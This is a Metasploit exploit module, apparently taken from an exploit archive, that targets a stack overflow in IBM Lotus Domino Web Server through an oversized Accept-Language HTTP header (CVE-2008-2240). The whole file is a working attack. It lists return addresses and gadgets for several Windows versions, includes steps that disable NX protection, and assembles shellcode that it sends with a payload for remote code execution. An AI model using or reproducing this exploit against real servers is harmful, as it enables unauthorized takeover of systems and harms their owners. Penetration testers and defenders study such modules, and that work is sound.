IBM Lotus Domino Web Server Accept-Language Stack Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'IBM Lotus Domino Web Server Accept-Language Stack Overflow',  
'Description' => %q{  
This module exploits a stack overflow in IBM Lotus Domino Web Server  
prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any HTTP  
request with an Accept-Language header greater than 114 bytes.  
},  
'Author' => [ 'Fairuzan Roslan riaf[at]mysec.org', 'Earl Marcus klks[at]mysec.org' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['CVE', '2008-2240'],  
['OSVDB', '45415'],  
['BID', '29310'],  
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21303057'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 800,   
'BadChars' => "\x00\x0a\x20\x2c\x3b",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
  
['Lotus Domino 7.0 on Windows 2003 SP1 English(NX)',  
{  
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll  
'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll  
'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll  
'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dl  
'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll  
'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll  
}  
],  
  
['Lotus Domino 7.0 on Windows 2003 SP2 English(NX)',  
{  
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll  
'FixESI' => 0x603055da, # push esp, pop esi, ret @nnotes.dll  
'FixEBP' => 0x60a8bc90, # push esp, pop ebp, ret 0x10 @nnotes.dll  
'Ret' => 0x62c838c7, # ret 0x12e @nlsccstr.dll  
'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll  
'JmpESP' => 0x62c6072e, # jmp esp @nlsccstr.dll  
}  
],  
  
['Lotus Domino 7.0 on Windows 2003/2000/XP English(NO NX)',  
{  
'FixESP' => 0x70335c79, # add esp, 0x324, ret @fontmanager.dll  
'JmpESP' => 0x62c6072e, # jmp esp @lsccstr.dll  
}  
],  
  
['Lotus Domino 8.0 on Windows 2003 SP1 English(NX)',  
{  
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll  
'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll  
'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll  
'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll  
'DisableNX' => 0x7c83e413, # NX Disable @ntdll.dll  
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll  
}  
],  
  
['Lotus Domino 8.0 on Windows 2003 SP2 English(NX)',  
{  
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll  
'FixESI' => 0x639a7f87, # push esp, pop esi, ret @nlsccstr.dll  
'FixEBP' => 0x6391c9f7, # push esp, pop ebp, ret 0x10 @nlsccstr.dll  
'Ret' => 0x7f8b0628, # ret 0x12e @j9gc23.dll  
'DisableNX' => 0x7c83f517, # NX Disable @ntdll.dll  
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll  
}  
],  
  
['Lotus Domino 8.0 on Windows 2003/2000/XP English(NO NX)',  
{  
'FixESP' => 0x7ea0615c, # add esp, 0x324, ret @net.dll  
'JmpESP' => 0x6391071e, # jmp esp @nlsccstr.dll  
}  
],  
  
],  
'DisclosureDate' => 'May 20 2008'))  
  
register_options( [ Opt::RPORT(80) ], self.class )  
end  
  
def exploit  
connect  
  
lang = rand_text_alphanumeric(116) # greetz to hateful chris  
lang[ 56, 4 ] = [ 0xfffffffe ].pack('V') # Fix Second crash (esi)  
lang[ 68, 4 ] = [ 0x7ffaf0ec ].pack('V') # Fix Second crash (eax)   
lang[ 104, 4 ] = [ 0x7ffaf030 ].pack('V') # Fix First crash  
lang[ 112, 4 ] = [target['FixESP']].pack('V') # 1   
lang << "\x00"  
lang << payload.encoded  
  
if(not target['DisableNX'])  
lang[ 16, 15 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xc4 pop edi sub edi,-0x86 call edi").encode_string # 4  
lang[ 80, 4 ] = [target['JmpESP']].pack('V') # 2   
lang[ 84, 2 ] = Rex::Arch::X86.jmp_short(-0x46) # 3 jmp back to top  
else  
lang[ 16, 16 ] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "add esp,-0xd8 pop edi pop edi sub edi,-0x86 call edi").encode_string # 8  
lang[ 80, 4 ] = [target['FixESI']].pack('V') # 2   
lang[ 84, 4 ] = [target['FixEBP']].pack('V') # 3  
lang[ 88, 4 ] = [target['Ret']].pack('V') # 4   
lang[ 92, 4 ] = [target['JmpESP']].pack('V') # 6  
lang[ 100, 2 ] = Rex::Arch::X86.jmp_short(-0x56) # 7 jmp back to top   
lang[ 108, 4 ] = [target['DisableNX']].pack('V') # 5   
end  
  
uri = rand_text_alpha_lower(16) + '.nsf?' + rand_text_highascii(1) # Trigger  
  
print_status("Trying target #{target.name}...")  
send_request_raw({  
'uri' => "#{uri}",  
'method' => 'GET',  
'headers' =>  
{  
'Accept' => '*/*',  
'Accept-Language' => "#{lang}",  
'Accept-Encoding' => 'gzip,deflate',  
'Keep-Alive' => '300',  
'Connection' => 'keep-alive',  
'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',  
}  
}, 5)  
handler  
disconnect  
end  
end  
`